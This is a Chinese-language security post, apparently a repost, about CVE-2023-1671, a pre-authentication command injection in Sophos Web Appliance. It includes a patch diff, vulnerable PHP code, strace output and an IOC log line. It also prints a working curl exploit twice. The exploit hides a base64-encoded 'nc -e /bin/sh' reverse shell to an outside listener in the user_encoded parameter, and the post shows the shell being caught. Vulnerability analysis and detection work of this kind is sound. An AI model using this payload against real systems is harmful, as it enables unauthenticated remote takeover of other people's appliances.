Sophos Web Appliance 中的预授权远程代码执行漏洞。
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/ohnonoyesyes/CVE-2023-1671
POC
curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "args_reason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&user_encoded=$(echo -n "';nc -e /bin/sh 192.168.56.1 4444 #" | base64)"
#snip
=> Send header, 184 bytes (0xb8)
0000: POST /index.php?c=blocked&action=continue HTTP/1.1
0034: Host: 192.168.56.108
004a: User-Agent: curl/7.88.1
0063: Accept: */*
0070: Content-Length: 120
0085: Content-Type: application/x-www-form-urlencoded
00b6:
=> Send data, 120 bytes (0x78)
0000: args_reason=filetypewarn&url=16625&filetype=5831&user=4525&user_
0040: encoded=JztuYyAtZSAvYmluL3NoIDE5Mi4xNjguNTYuMSA0NDQ0ICM=
原理分析
来源《Analysis of Pre-Auth RCE in Sophos Web Appliance (CVE-2023-1671)》
Sophos Web Appliance的Pre-Auth RCE分析 (CVE-2023-1671)
2023年4月4日,Sophos发布了他们的Web Appliance产品的安全公告。该公告包含有关版本4.3.10.4之前的Sophos Web Appliance的关键漏洞CVE-2023-1671的信息:
通过Sophos bug赏金计划,一位外部安全研究人员向Sophos负责地披露了一项预身份认证命令注入漏洞,允许执行任意代码。
鉴于该漏洞的初始访问特性,VulnCheck决定进行调查。
BLUF:大规模利用不太可能
公告中的注释非常详细地说明了注意事项:
- Sophos Web Appliance的生命周期结束日期为2023年7月20日
- Sophos建议通过防火墙保护Sophos Web Appliance,不要通过公共Internet访问
- Sophos Web Appliance客户无需采取任何操作,因为默认情况下会自动安装更新。
因此,大规模利用的可能性非常低。
分析补丁
/opt/ws/bin/ftsblistpack是一个Perl脚本,调用了另一个Perl脚本/opt/ws/bin/sblistpack。该补丁更改了system函数的调用方式,不再调用shell:
--- unpatched/opt/ws/bin/ftsblistpack 2022-04-08 20:38:49.000000000 -0500
+++ patched/opt/ws/bin/ftsblistpack 2023-03-24 17:08:26.000000000 -0500
@@ -25,7 +25,7 @@
open my $flag, ">", "$flag_file_dir/$proceeded_flag_file" or die "Open file [$flag_file_dir/$proceeded_flag_file] failed" and $rc++;
close($flag);
- $rc += system("$sblistpack '$uri' '$user' '$filetype' '$filein' '$fileout'");
+ $rc += system($sblistpack, $uri, $user, $filetype, $filein, $fileout);
}
exit $rc;
请注意未打补丁代码中的单引号参数。这将在后面非常重要。从漏洞点到源码,我们可以看到/opt/ui/apache/htdocs/controllers/UsrBlocked.php脚本用用户提供的参数调用了ftsblistpack脚本:
if($_GET['action'] == 'continue') {
if(strlen(trim($_POST['user'])) > 0)
$user = base64_decode($_POST['user_encoded']);
else
$user = $_POST['client-ip'];
if($user == '-') $user = $_POST['client-ip'];
$user = escapeshellarg($user);
//snip
// use sblistpack to allow access
if($_POST['args_reason'] == 'filetypewarn') {
$key = $_POST['url'];
$packer = '/opt/ws/bin/ftsblistpack';
$value = $_POST['filetype'];
}
else {
$key = $_POST['domain'];
$packer = '/opt/ws/bin/sblistpack';
$catParts = explode("|",$_POST['raw_category_id']);
$value = $catParts[0];
}
$key = escapeshellarg($key);
$value = escapeshellarg($value);
$this->log->write("DEBUG","cmd = '$packer $key $user $value'");
$result = shell_exec("$packer $key $user $value 2>&1");
请注意,用户控制的输入仍然要经过PHP的escapeshellarg函数处理,该函数将转义并添加单引号到shell参数。您可能已经看到了这会导致什么问题。
开发一个RCE PoC
利用相对简单。UsrBlocked.php通过/index.php?c=blocked路由,之后提供必需的GET和POST参数。由于user_encoded参数是Base64编码的,因此非常适合我们的命令注入。不需要转义或其他编码!下面演示了执行RCE的完整curl命令:
wvu@kharak:~$ curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "args_reason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&user_encoded=$(echo -n "';nc -e /bin/sh 192.168.56.1 4444 #" | base64)"
#snip
=> Send header, 184 bytes (0xb8)
0000: POST /index.php?c=blocked&action=continue HTTP/1.1
0034: Host: 192.168.56.108
004a: User-Agent: curl/7.88.1
0063: Accept: */*
0070: Content-Length: 120
0085: Content-Type: application/x-www-form-urlencoded
00b6:
=> Send data, 120 bytes (0x78)
0000: args_reason=filetypewarn&url=16625&filetype=5831&user=4525&user_
0040: encoded=JztuYyAtZSAvYmluL3NoIDE5Mi4xNjguNTYuMSA0NDQ0ICM=
命令注入的工作原理可以通过以下的strace输出最好地说明:
[pid 22283] execve("/bin/sh", ["sh", "-c", "/opt/ws/bin/ftsblistpack '16625' ''\\'';nc -e /bin/sh 192.168.56.1 4444 #' '5831' 2>&1"], [/* 16 vars */]) = 0
[pid 22284] execve("/opt/ws/bin/ftsblistpack", ["/opt/ws/bin/ftsblistpack", "16625", "';nc -e /bin/sh 192.168.56.1 4444 #", "5831"], [/* 16 vars */]) = 0
[pid 22285] execve("/bin/sh", ["sh", "-c", "/opt/ws/bin/sblistpack '16625' '';nc -e /bin/sh 192.168.56.1 4444 #' '5831' '/persist/wsa/ftsblist.in' '/persist/wsa/ftsblist.kvlist'"], [/* 16 vars */]) = 0
[pid 22288] execve("/opt/ws/bin/sblistpack", ["/opt/ws/bin/sblistpack", "16625", ""], [/* 16 vars */]) = 0
[pid 22285] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid 22299] execve("/bin/nc", ["nc", "-e", "/bin/sh", "192.168.56.1", "4444"], [/* 16 vars */]) = 0
[pid 22299] execve("/bin/sh", ["sh"], [/* 16 vars */]) = 0
当将';nc -e /bin/sh 192.168.56.1 4444 #注入ftsblistpack时,输入被包裹在单引号中,导致"经过处理"的输入为'';nc -e /bin/sh 192.168.56.1 4444 #',这将关闭开头的引号,执行一个netcat反向shell,然后注释掉其余的命令行。如果您设置了侦听器,您将可以捕获到shell:
wvu@kharak:~$ rlwrap -rS '$ ' -nH /dev/null ncat -lkv 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
$ Ncat: Connection from 192.168.56.108.
Ncat: Connection from 192.168.56.108:56426.
$ id
uid=1000(spiderman) gid=1000(spiderman) groups=1000(spiderman),16(cron),44(tproxyd),45(wdx)
$ uname -a
Linux foo 3.2.89 #1 SMP Tue Mar 29 00:03:09 UTC 2022 i686 GNU/Linux
$
插入Spider-Man指向meme的图片。
寻找IOC
当HTTP请求返回响应后,/log/ui_access_log文件会附加一行记录:
192.168.56.1 - - [19/Apr/2023:19:46:21 +0000] "POST /index.php?c=blocked&action=continue HTTP/1.1" 302 - "-" "curl/7.88.1"
虽然不多,但这是在寻找利用时要查找的内容。请注意,写入日志条目可能会在命令执行时阻塞。此外,先前的strace输出可用于进程检测。